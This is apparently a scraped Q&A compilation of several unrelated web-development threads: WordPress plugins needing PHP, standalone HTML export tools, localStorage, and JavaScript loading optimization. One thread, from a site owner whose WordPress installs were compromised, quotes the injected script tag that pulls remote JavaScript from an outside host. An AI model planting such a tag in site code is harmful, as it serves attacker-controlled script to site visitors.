Develop Reference

Can I create a WordPress plugin with JavaScript only?

I am scared to ask this question, because StackOverflow is already warning me about my question being likely to be downvoted. But I am very curious about this.
I have read that you must have at least one php file in your WordPress Plugin. Which sounds to me like you only need something like an index/entry php file.
However, I wasn't able to find much about JavaScript in WordPress Plugins by using google. Which seemed weird to me, because we're talking here about the web of 2017.
An answer would be very appreciated!

The answer is no, you cannot, as you have referenced in your question. By definition, a plugin is at the very least a "PHP file with a WordPress plugin header comment" (Wordpress Docs).
However, there is no reason a Wordpress plugin can't be primarily Javascript. You can follow this guide for some different approaches to include it in your plugin.

Since WordPress is (basically) purely php, then all its plugins will also be php. This is they way it has been set up.
In order to have a 'WordPress plugin', yes you will need at least one php file to register to WordPress and enqueue your javascript/css/what-have-you..
This means if you want something like React/Ember on your WP installation, they aren't going to be 'WordPress' plugins, they will belong to the React/Ember ecosystem. You will just have the minimum to enqueue the javascript libraries you want to use.
You can then use your javascript frontend and talk to WP's REST API, and now WP has basically become your server 'framework'.
So, no, there's no such thing as a 'JavaScript WordPress Plugin'. But you can have a plugin that includes as much fancy JS as you may want.

The following article should give you insight about this.
Your WordPress Plugin must have at least one PHP file; it could also contain JavaScript files, CSS files, image files and language files. If there are multiple files, pick a unique name for a directory and a name of your choice for the main PHP file. (This file name is often, but not essentially, the same as the directory name.) Example directory and file names could be mycompanyname-fabulous-functionality and mycompanyname-fabulous-functionality.php respectively. Put all your Plugin's files into the directory you've created and tell your Plugin users to upload the whole directory to wp-content/plugins/.
Hope this helps. But no, you can't create a Wordpress plugin with only Javascript.

Save HTML As Standalone Page: Exporting Tool?

I need to regularly send html pages to a client as standalone .html files with no external dependencies. The original pages are done with node.js and express and they contains several librairies such as High Charts.
I have done the preparation manually until now, this includes:
Transform all images into blobs
Copy all external .js and .cs inside the page
Minimize where possible (standards librairies such as jQuery or Bootstrap...)
The result is a single .html file that can be opened without an internet connection and looks just like the original.
Is there any tool to do this automatically? If not, maybe I'll code it myself in Python. Do you have any recommendation around that?
Thanks

Monolith is a CLI tool for saving complete web pages as a single HTML file
See https://github.com/Y2Z/monolith

With apologies to OP, as this answer is probably far too late for him, but I'm posting it to help anyone with a similar problem:
HTTrack is an open-source project that does almost exactly what you described, though it doesn't work perfectly on some of the more peculiar JS.
It saves the page with most of the JS, the major images, and everything that the page needs to appear complete. It can be configured to include or exclude the entire or partial JS, images, and CSS.
This does not import all of the JS and other content into the HTML file, but neatly organizes all of the content into one folder and corrects all of the paths to make the folder portable.
It also seems to have trouble grabbing some external sources that are protected, but if it is your local site and simply uses common scripts like JQuery, you should be fine. When I tested it, it correctly downloaded all of my local CSS and any valid external CSS library that I incorporated, the JQuery and derivative scripts that I was using, and the embedded images.
Just to save everyone a question, the program by default saves the downloaded websites to C:\My Web Sites.

How to monitor which files are writing code to others?

It appears there is a new exploit/hack going around where a Wordpress plugin is writing a .js file before every closing </head> tags in every Wordpress installation's .php files on my server. It's writing this code before every closing head tag:
<script language="JavaScript" src="http://abtt.tv/modules/mod_servises/ua.js" type="text/javascript"></script>
My question is, how would I go about finding which files are writing code to others? That way I can find which plugin it is doing it, as I have several installations of WP in subdomains that are infected, and no idea of which one it's coming from! I'm sure there has to be a way to monitor this, whether it be my hosting company doing it or me.

If your site has been compromised, your better of by restoring a backup, but if you dont have one you're probably better of with a clean installation. But if you still wanna try to "fix" it, there are some files you could check for starters, the header theme file, the function file and all the plugin files to ensure its not enqued in a plugin to run.
the function you should be searching for is called wp_enqueue_script

Using JS to create user-customized home pages

I believe this question is related to this one also, since I'm trying to figure out different aspects of creating a custom homepage: Click here
Once again, I'm developing a downloadable homepage (a custom index.html file + some images and more if needed) that you can store on your computer and then set it as your homepage. It would have a compact layout where you could sort your favorite bookmarks and other stuff the way you want. So the idea is clear.
In the previous question (link above) I wondered whether it's possible to write/read from a file with JS. Unfortunately, it isn't and I do not want to utilize any plugins or an ActiveX object.
I would like to know whether it is possible to add new lines of code (user input) to the page file? For instance, if index.html is the file from which the script is running, can the same script add new lines of code to it? Not an external file, but to the same file the script is running on at the moment?

Instead of writing to a file, I recommend using localStorage. It's a persistent JavaScript object that is stored across pageviews and sessions.
alert(localStorage.myStorageKey);
localStorage.myStorageKey = 'test';
Try using the above code and refreshing the page.

Javascript and website loading time optimization

I know that best practice for including javascript is having all code in a separate .js file and allowing browsers to cache that file.
But when we begin to use many jquery plugins which have their own .js, and our functions depend on them, wouldn't it be better to load dynamically only the js function and the required .js for the current page?
Wouldn't that be faster, in a page, if I only need one function to load dynamically embedding it in html with the script tag instead of loading the whole js with the js plugins?
In other words, aren't there any cases in which there are better practices than keeping our whole javascript code in a separate .js?

It would seem at first glance that this would be a good idea, but in fact it would actually make matters worse. For example, if one page needs plugins 1, 2 and 3, then a file would be build server side with those plugins in it. Now, the browser goes to another page that needs plugins 2 and 4. This would cause another file to be built, this new file would be different from the first one, but it would also contain the code for plugin 2 so the same code ends up getting downloaded twice, bypassing the version that the browser already has.
You are best off leaving the caching to the browser, rather than trying to second-guess it. However, there are options to improve things.
Top of the list is using a CDN. If the plugins you are using are fairly popular ones, then the chances are that they are being hosted with a CDN. If you link to the CDN-hosted plugins, then any visitors who are hitting your site for the first time and who have also happened to have hit another site that's also using the same plugins from the same CDN, the plugins will already be cached.
There are, of course, other things you can to to speed your javascript up. Best practice includes placing all your script include tags as close to the bottom of the document as possible, so as to not hold up page rendering. You should also look into lazy initialization. This involves, for any stuff that needs significant setup to work, attaching a minimalist event handler that when triggered removes itself and sets up the real event handler.

One problem with having separate js files is that will cause more HTTP requests.
Yahoo have a good best practices guide on speeding up your site: http://developer.yahoo.com/performance/rules.html
I believe Google's closure library has something for combining javascript files and dependencies, but I havn't looked to much into it yet. So don't quote me on it: http://code.google.com/closure/library/docs/calcdeps.html
Also there is a tool called jingo http://code.google.com/p/jingo/ but again, I havn't used it yet.

I keep separate files for each plug-in and page during development, but during production I merge-and-minify all my JavaScript files into a single JS file loaded uniformly throughout the site. My main layout file in my web framework (Sinatra) uses the deployment mode to automatically either generate script tags for all JS files (in order, based on a manifest file) or perform the minification and include a single querystring-timestamped script inclusion.
Every page is given a body tag with a unique id, e.g. <body id="contact">.
For those scripts that need to be specific to a particular page, I either modify the selectors to be prefixed by the body:
$('body#contact form#contact').submit(...);
or (more typically) I have the onload handlers for that page bail early:
jQuery(function($){
if (!$('body#contact').length) return;
// Do things specific to the contact page here.
});
Yes, including code (or even a plug-in) that may only be needed by one page of the site is inefficient if the user never visits that page. On the other hand, after the initial load the entire site's JS is ready to roll from the cache.

The network latency is the main problem.You can get a very responsive page if you reduce the http calls to one.
It means all the JS, CSS are bundled into the HTML page.And if your can forget IE6/7 you can put the images as data:image/png;base64
When we release a new version of our web app, a shell script minify and bundle everything into a single html page.
Then there is a second call for the data, and we render all the HTML client-side using a JS template library: PURE
Ensure the page is cached and gzipped. There is probably a limit in size to consider.We try to stay under 400kb unzipped, and load secondary resources later when needed.

You can also try a service like http://www.blaze.io. It automatically peforms most front end optimization tactics and also couples in a CDN.
There currently in private beta but its worth submitting your website to.

I would recommend you join common bits of functionality into individual javascript module files and load them only in the pages they are being used using RequireJS / head.js or a similar dependency management tool.
An example where you are using lighbox popups, contact forms, tracking, and image sliders in different parts of the website would be to separate these into 4 modules and load them only where needed. That way you optimize caching and make sure your site has no unnecessary flab.
As a general rule its always best to have less files than more, its also important to work on the timing of each JS file, as some are needed BEFORE the page completes loading and some AFTER (ie, when user clicks something)
See a lot more tips in the article: 25 Techniques for Javascript Performance Optimization.
Including a section on managing Javascript file dependencies.
Cheers, hope this is useful.